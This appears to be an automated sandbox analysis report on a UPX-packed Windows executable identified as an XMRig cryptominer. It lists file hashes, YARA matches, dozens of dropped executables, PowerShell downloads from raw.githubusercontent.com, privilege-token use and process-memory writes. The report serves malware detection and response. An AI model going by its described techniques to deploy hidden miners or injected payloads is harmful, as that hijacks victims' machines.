xmrig | d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01

Analysis

max time kernel
120s
max time network
121s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 21:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
Size

1.6MB
MD5

b4eafd46595eef3fc81f73a40ea52f00
SHA1

9b5c15db12b0b65bbbc28e8a46e41e2a187d0284
SHA256

d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01
SHA512

1fbf2317f1dcb726fd00ab5b9298fc7bdcd44084426ceee0a404851a4c84980663b0502f0184e2cdb833f61e09ec60c10c03ec53609c702afa56f4b9d8d3f4ce
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHqh:NABW

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3524-184-0x00007FF6DD500000-0x00007FF6DD8F2000-memory.dmp	xmrig
behavioral2/memory/436-206-0x00007FF73BED0000-0x00007FF73C2C2000-memory.dmp	xmrig
behavioral2/memory/2360-210-0x00007FF7B98D0000-0x00007FF7B9CC2000-memory.dmp	xmrig
behavioral2/memory/3496-219-0x00007FF68D430000-0x00007FF68D822000-memory.dmp	xmrig
behavioral2/memory/1556-225-0x00007FF6597F0000-0x00007FF659BE2000-memory.dmp	xmrig
behavioral2/memory/4196-228-0x00007FF7CDDB0000-0x00007FF7CE1A2000-memory.dmp	xmrig
behavioral2/memory/3152-227-0x00007FF6C60A0000-0x00007FF6C6492000-memory.dmp	xmrig
behavioral2/memory/4708-226-0x00007FF6081A0000-0x00007FF608592000-memory.dmp	xmrig
behavioral2/memory/2200-224-0x00007FF6DCAD0000-0x00007FF6DCEC2000-memory.dmp	xmrig
behavioral2/memory/1804-223-0x00007FF7E9230000-0x00007FF7E9622000-memory.dmp	xmrig
behavioral2/memory/116-222-0x00007FF62CE90000-0x00007FF62D282000-memory.dmp	xmrig
behavioral2/memory/2404-221-0x00007FF7C60F0000-0x00007FF7C64E2000-memory.dmp	xmrig
behavioral2/memory/4620-220-0x00007FF6109B0000-0x00007FF610DA2000-memory.dmp	xmrig
behavioral2/memory/1360-218-0x00007FF745350000-0x00007FF745742000-memory.dmp	xmrig
behavioral2/memory/3980-216-0x00007FF7791D0000-0x00007FF7795C2000-memory.dmp	xmrig
behavioral2/memory/1980-201-0x00007FF7CAAD0000-0x00007FF7CAEC2000-memory.dmp	xmrig
behavioral2/memory/3236-200-0x00007FF61D1D0000-0x00007FF61D5C2000-memory.dmp	xmrig
behavioral2/memory/892-163-0x00007FF7C0310000-0x00007FF7C0702000-memory.dmp	xmrig
behavioral2/memory/3544-138-0x00007FF799AC0000-0x00007FF799EB2000-memory.dmp	xmrig
behavioral2/memory/464-111-0x00007FF7705C0000-0x00007FF7709B2000-memory.dmp	xmrig
behavioral2/memory/3352-87-0x00007FF6E8770000-0x00007FF6E8B62000-memory.dmp	xmrig
behavioral2/memory/3560-364-0x00007FF7D8E00000-0x00007FF7D91F2000-memory.dmp	xmrig
behavioral2/memory/4020-357-0x00007FF7066C0000-0x00007FF706AB2000-memory.dmp	xmrig
behavioral2/memory/2092-367-0x00007FF6A5710000-0x00007FF6A5B02000-memory.dmp	xmrig
behavioral2/memory/1336-365-0x00007FF7265E0000-0x00007FF7269D2000-memory.dmp	xmrig
behavioral2/memory/4020-2502-0x00007FF7066C0000-0x00007FF706AB2000-memory.dmp	xmrig
behavioral2/memory/4708-4767-0x00007FF6081A0000-0x00007FF608592000-memory.dmp	xmrig
behavioral2/memory/436-4808-0x00007FF73BED0000-0x00007FF73C2C2000-memory.dmp	xmrig
behavioral2/memory/2200-4835-0x00007FF6DCAD0000-0x00007FF6DCEC2000-memory.dmp	xmrig

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow	pid	Process
4	2320	powershell.exe
9	2320	powershell.exe
11	2320	powershell.exe
12	2320	powershell.exe
14	2320	powershell.exe
16	2320	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2320	powershell.exe

Executes dropped EXE 64 IoCs

Processes:

YMoZgtC.exeFAabJVr.exeFzEyVdB.exeVNzqiei.exeutCspdG.exeBtBVhWU.exenneJUNs.exemGNSKKv.exeXGQxQRq.exerLHQiGm.exelSXbulT.exejSgnvda.exeAtdpJog.exeTIktLkm.exeiXUpSaH.exemOFmutv.exerFvpLeQ.exeHKVkNQR.exeGPumEAN.exeytjwRLZ.exekWbEKop.exegtyVJoX.exeHOyizoN.exeXRvfoYb.exeIEhGbfQ.exeBvYCQWJ.exeuEjdbGO.exeHVmpgSh.exeokZsnLK.exetjZBdRE.exeZzQEvCG.exeuwZKBBX.exedhSHGhE.exezBxLEIs.exeaPpYLkb.exeAhfWuro.exeJaTOiUt.exewhNsaAu.exelXXagnL.exebfquXHg.exeCprcWxU.exedQCqkWQ.exeyTbzlTr.exeqcIUswP.exerBDxhbV.exegHIDkTX.exehiUpgqt.exetRhGRjo.exeduokMpu.exeBMlwFNO.exeoKlXviq.exeqGTpcUS.exeYKNDdDv.exeRqBoMOd.exeSYPakbl.exeCliAQZz.exeKqymfhr.exeIBMvDNB.exeQOJRTHG.exeRiqamOS.exegGCCitW.exeWjfsmcU.exeVmLphTQ.exefpyjRGG.exe

pid	Process
3560	YMoZgtC.exe
1336	FAabJVr.exe
1556	FzEyVdB.exe
2092	VNzqiei.exe
3352	utCspdG.exe
464	BtBVhWU.exe
3544	nneJUNs.exe
892	mGNSKKv.exe
4708	XGQxQRq.exe
3524	rLHQiGm.exe
3236	lSXbulT.exe
1980	jSgnvda.exe
3152	AtdpJog.exe
436	TIktLkm.exe
2360	iXUpSaH.exe
3980	mOFmutv.exe
1360	rFvpLeQ.exe
3496	HKVkNQR.exe
4620	GPumEAN.exe
2404	ytjwRLZ.exe
116	kWbEKop.exe
1804	gtyVJoX.exe
4196	HOyizoN.exe
2200	XRvfoYb.exe
3824	IEhGbfQ.exe
3028	BvYCQWJ.exe
4408	uEjdbGO.exe
2700	HVmpgSh.exe
3620	okZsnLK.exe
3604	tjZBdRE.exe
2008	ZzQEvCG.exe
1756	uwZKBBX.exe
3412	dhSHGhE.exe
1388	zBxLEIs.exe
4916	aPpYLkb.exe
3896	AhfWuro.exe
2740	JaTOiUt.exe
928	whNsaAu.exe
4232	lXXagnL.exe
1272	bfquXHg.exe
4024	CprcWxU.exe
604	dQCqkWQ.exe
3848	yTbzlTr.exe
2676	qcIUswP.exe
740	rBDxhbV.exe
860	gHIDkTX.exe
2964	hiUpgqt.exe
2508	tRhGRjo.exe
4424	duokMpu.exe
3336	BMlwFNO.exe
3928	oKlXviq.exe
2496	qGTpcUS.exe
5112	YKNDdDv.exe
1068	RqBoMOd.exe
4748	SYPakbl.exe
1208	CliAQZz.exe
4732	Kqymfhr.exe
4688	IBMvDNB.exe
1868	QOJRTHG.exe
1976	RiqamOS.exe
3464	gGCCitW.exe
2872	WjfsmcU.exe
3576	VmLphTQ.exe
4604	fpyjRGG.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
2	raw.githubusercontent.com
4	raw.githubusercontent.com

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/4020-0-0x00007FF7066C0000-0x00007FF706AB2000-memory.dmp	upx
behavioral2/files/0x0007000000023c89-38.dat	upx
behavioral2/files/0x0007000000023c8c-62.dat	upx
behavioral2/files/0x0007000000023c90-73.dat	upx
behavioral2/files/0x0007000000023c94-98.dat	upx
behavioral2/files/0x0007000000023ca5-179.dat	upx
behavioral2/memory/3524-184-0x00007FF6DD500000-0x00007FF6DD8F2000-memory.dmp	upx
behavioral2/memory/436-206-0x00007FF73BED0000-0x00007FF73C2C2000-memory.dmp	upx
behavioral2/memory/2360-210-0x00007FF7B98D0000-0x00007FF7B9CC2000-memory.dmp	upx
behavioral2/memory/3496-219-0x00007FF68D430000-0x00007FF68D822000-memory.dmp	upx
behavioral2/memory/1556-225-0x00007FF6597F0000-0x00007FF659BE2000-memory.dmp	upx
behavioral2/memory/4196-228-0x00007FF7CDDB0000-0x00007FF7CE1A2000-memory.dmp	upx
behavioral2/memory/3152-227-0x00007FF6C60A0000-0x00007FF6C6492000-memory.dmp	upx
behavioral2/memory/4708-226-0x00007FF6081A0000-0x00007FF608592000-memory.dmp	upx
behavioral2/memory/2200-224-0x00007FF6DCAD0000-0x00007FF6DCEC2000-memory.dmp	upx
behavioral2/memory/1804-223-0x00007FF7E9230000-0x00007FF7E9622000-memory.dmp	upx
behavioral2/memory/116-222-0x00007FF62CE90000-0x00007FF62D282000-memory.dmp	upx
behavioral2/memory/2404-221-0x00007FF7C60F0000-0x00007FF7C64E2000-memory.dmp	upx
behavioral2/memory/4620-220-0x00007FF6109B0000-0x00007FF610DA2000-memory.dmp	upx
behavioral2/memory/1360-218-0x00007FF745350000-0x00007FF745742000-memory.dmp	upx
behavioral2/memory/3980-216-0x00007FF7791D0000-0x00007FF7795C2000-memory.dmp	upx
behavioral2/memory/1980-201-0x00007FF7CAAD0000-0x00007FF7CAEC2000-memory.dmp	upx
behavioral2/memory/3236-200-0x00007FF61D1D0000-0x00007FF61D5C2000-memory.dmp	upx
behavioral2/files/0x0007000000023c9a-178.dat	upx
behavioral2/files/0x0007000000023c99-175.dat	upx
behavioral2/files/0x0007000000023c98-173.dat	upx
behavioral2/files/0x0007000000023ca4-171.dat	upx
behavioral2/files/0x0007000000023c97-169.dat	upx
behavioral2/files/0x0007000000023ca3-168.dat	upx
behavioral2/memory/892-163-0x00007FF7C0310000-0x00007FF7C0702000-memory.dmp	upx
behavioral2/files/0x0007000000023ca2-162.dat	upx
behavioral2/files/0x0007000000023ca1-161.dat	upx
behavioral2/files/0x0007000000023ca0-160.dat	upx
behavioral2/files/0x0007000000023c96-158.dat	upx
behavioral2/files/0x0007000000023c9f-156.dat	upx
behavioral2/files/0x0007000000023c93-154.dat	upx
behavioral2/files/0x0007000000023c92-149.dat	upx
behavioral2/files/0x0007000000023c8e-148.dat	upx
behavioral2/files/0x0007000000023c8f-142.dat	upx
behavioral2/memory/3544-138-0x00007FF799AC0000-0x00007FF799EB2000-memory.dmp	upx
behavioral2/files/0x0007000000023c9c-132.dat	upx
behavioral2/files/0x0007000000023c9d-131.dat	upx
behavioral2/files/0x0007000000023c91-128.dat	upx
behavioral2/files/0x0007000000023c95-125.dat	upx
behavioral2/files/0x0007000000023c9b-122.dat	upx
behavioral2/files/0x0007000000023c8d-115.dat	upx
behavioral2/files/0x0007000000023c9e-141.dat	upx
behavioral2/files/0x0007000000023c8a-90.dat	upx
behavioral2/memory/464-111-0x00007FF7705C0000-0x00007FF7709B2000-memory.dmp	upx
behavioral2/memory/3352-87-0x00007FF6E8770000-0x00007FF6E8B62000-memory.dmp	upx
behavioral2/files/0x0007000000023c8b-65.dat	upx
behavioral2/memory/2092-63-0x00007FF6A5710000-0x00007FF6A5B02000-memory.dmp	upx
behavioral2/files/0x0007000000023c87-55.dat	upx
behavioral2/files/0x0007000000023c84-52.dat	upx
behavioral2/files/0x0007000000023c85-49.dat	upx
behavioral2/files/0x0007000000023c86-46.dat	upx
behavioral2/files/0x0007000000023c83-44.dat	upx
behavioral2/files/0x0007000000023c88-34.dat	upx
behavioral2/memory/1336-30-0x00007FF7265E0000-0x00007FF7269D2000-memory.dmp	upx
behavioral2/files/0x0009000000023c7c-27.dat	upx
behavioral2/files/0x0008000000023c7f-9.dat	upx
behavioral2/memory/3560-14-0x00007FF7D8E00000-0x00007FF7D91F2000-memory.dmp	upx
behavioral2/memory/3560-364-0x00007FF7D8E00000-0x00007FF7D91F2000-memory.dmp	upx
behavioral2/memory/4020-357-0x00007FF7066C0000-0x00007FF706AB2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

Processes:

d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe

description	ioc	Process
File created	C:\Windows\System\LbLMxOQ.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\refTggo.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\VSDRgQf.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\RnQzYwC.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\mQandlh.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\BCoQiXe.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\QjXNryR.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\ZYFVGvs.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\HIeXfZP.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\DYjfzdF.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\vbyUxfV.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\SObLezl.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\mcTXMCD.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\cMLjykq.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\TFAzBlM.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\KpPidtw.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\IgNtQHC.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\glplazO.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\uNnKWfU.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\GQxJIHI.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\sNQLppa.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\PMJTldS.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\ZRXnDNZ.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\oMJQACp.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\qTIxSne.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\KKevCWx.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\qCTlCyQ.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\ErvFivi.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\fusjPVj.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\dzMbzWZ.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\CCzNxqC.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\pAicJkA.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\mZVPScB.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\SuNVeIT.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\ZzSynSy.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\yqxawMm.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\hhHMZkE.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\EOfjPPE.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\UljOmMh.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\suCMPTn.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\VQLIwjk.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\gTTOgPY.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\QceCelQ.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\gcNegXf.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\pQrthnC.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\jtxrOzR.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\JoozyUr.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\HmMmGON.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\uxbXXIK.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\McUvXhC.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\llFARiN.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\zBOaetA.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\BDMjfIP.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\trjMDlI.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\HsFXIkY.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\CJpnxHc.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\tOgyPyw.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\WsboIWH.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\elBUsGK.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\YKNDdDv.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\lBuSUIf.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\urlxCWX.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\IAMGTPH.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
File created	C:\Windows\System\hasggUb.exe	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid	Process
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exepowershell.exe

description	pid	Process
Token: SeLockMemoryPrivilege	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
Token: SeLockMemoryPrivilege	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe
Token: SeDebugPrivilege	2320	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe

description	pid	Process	procid_target
PID 4020 wrote to memory of 2320	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	84
PID 4020 wrote to memory of 2320	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	84
PID 4020 wrote to memory of 3560	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	85
PID 4020 wrote to memory of 3560	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	85
PID 4020 wrote to memory of 1336	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	86
PID 4020 wrote to memory of 1336	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	86
PID 4020 wrote to memory of 1556	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	87
PID 4020 wrote to memory of 1556	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	87
PID 4020 wrote to memory of 2092	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	88
PID 4020 wrote to memory of 2092	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	88
PID 4020 wrote to memory of 3352	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	89
PID 4020 wrote to memory of 3352	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	89
PID 4020 wrote to memory of 464	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	90
PID 4020 wrote to memory of 464	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	90
PID 4020 wrote to memory of 3544	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	91
PID 4020 wrote to memory of 3544	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	91
PID 4020 wrote to memory of 892	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	92
PID 4020 wrote to memory of 892	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	92
PID 4020 wrote to memory of 4708	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	93
PID 4020 wrote to memory of 4708	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	93
PID 4020 wrote to memory of 3524	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	94
PID 4020 wrote to memory of 3524	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	94
PID 4020 wrote to memory of 3236	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	95
PID 4020 wrote to memory of 3236	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	95
PID 4020 wrote to memory of 1980	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	96
PID 4020 wrote to memory of 1980	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	96
PID 4020 wrote to memory of 3152	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	97
PID 4020 wrote to memory of 3152	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	97
PID 4020 wrote to memory of 436	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	98
PID 4020 wrote to memory of 436	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	98
PID 4020 wrote to memory of 2360	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	99
PID 4020 wrote to memory of 2360	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	99
PID 4020 wrote to memory of 3980	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	100
PID 4020 wrote to memory of 3980	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	100
PID 4020 wrote to memory of 116	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	101
PID 4020 wrote to memory of 116	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	101
PID 4020 wrote to memory of 1360	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	102
PID 4020 wrote to memory of 1360	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	102
PID 4020 wrote to memory of 3496	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	103
PID 4020 wrote to memory of 3496	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	103
PID 4020 wrote to memory of 4620	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	104
PID 4020 wrote to memory of 4620	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	104
PID 4020 wrote to memory of 2404	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	105
PID 4020 wrote to memory of 2404	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	105
PID 4020 wrote to memory of 1804	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	106
PID 4020 wrote to memory of 1804	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	106
PID 4020 wrote to memory of 4196	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	107
PID 4020 wrote to memory of 4196	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	107
PID 4020 wrote to memory of 2200	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	108
PID 4020 wrote to memory of 2200	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	108
PID 4020 wrote to memory of 3824	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	109
PID 4020 wrote to memory of 3824	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	109
PID 4020 wrote to memory of 3028	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	110
PID 4020 wrote to memory of 3028	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	110
PID 4020 wrote to memory of 4408	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	111
PID 4020 wrote to memory of 4408	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	111
PID 4020 wrote to memory of 2700	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	112
PID 4020 wrote to memory of 2700	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	112
PID 4020 wrote to memory of 3620	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	113
PID 4020 wrote to memory of 3620	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	113
PID 4020 wrote to memory of 3604	4020	d959030bddba0965b25fb2dcbc5b3b30c74d95e2716924de951420f32d392a01N.exe	114
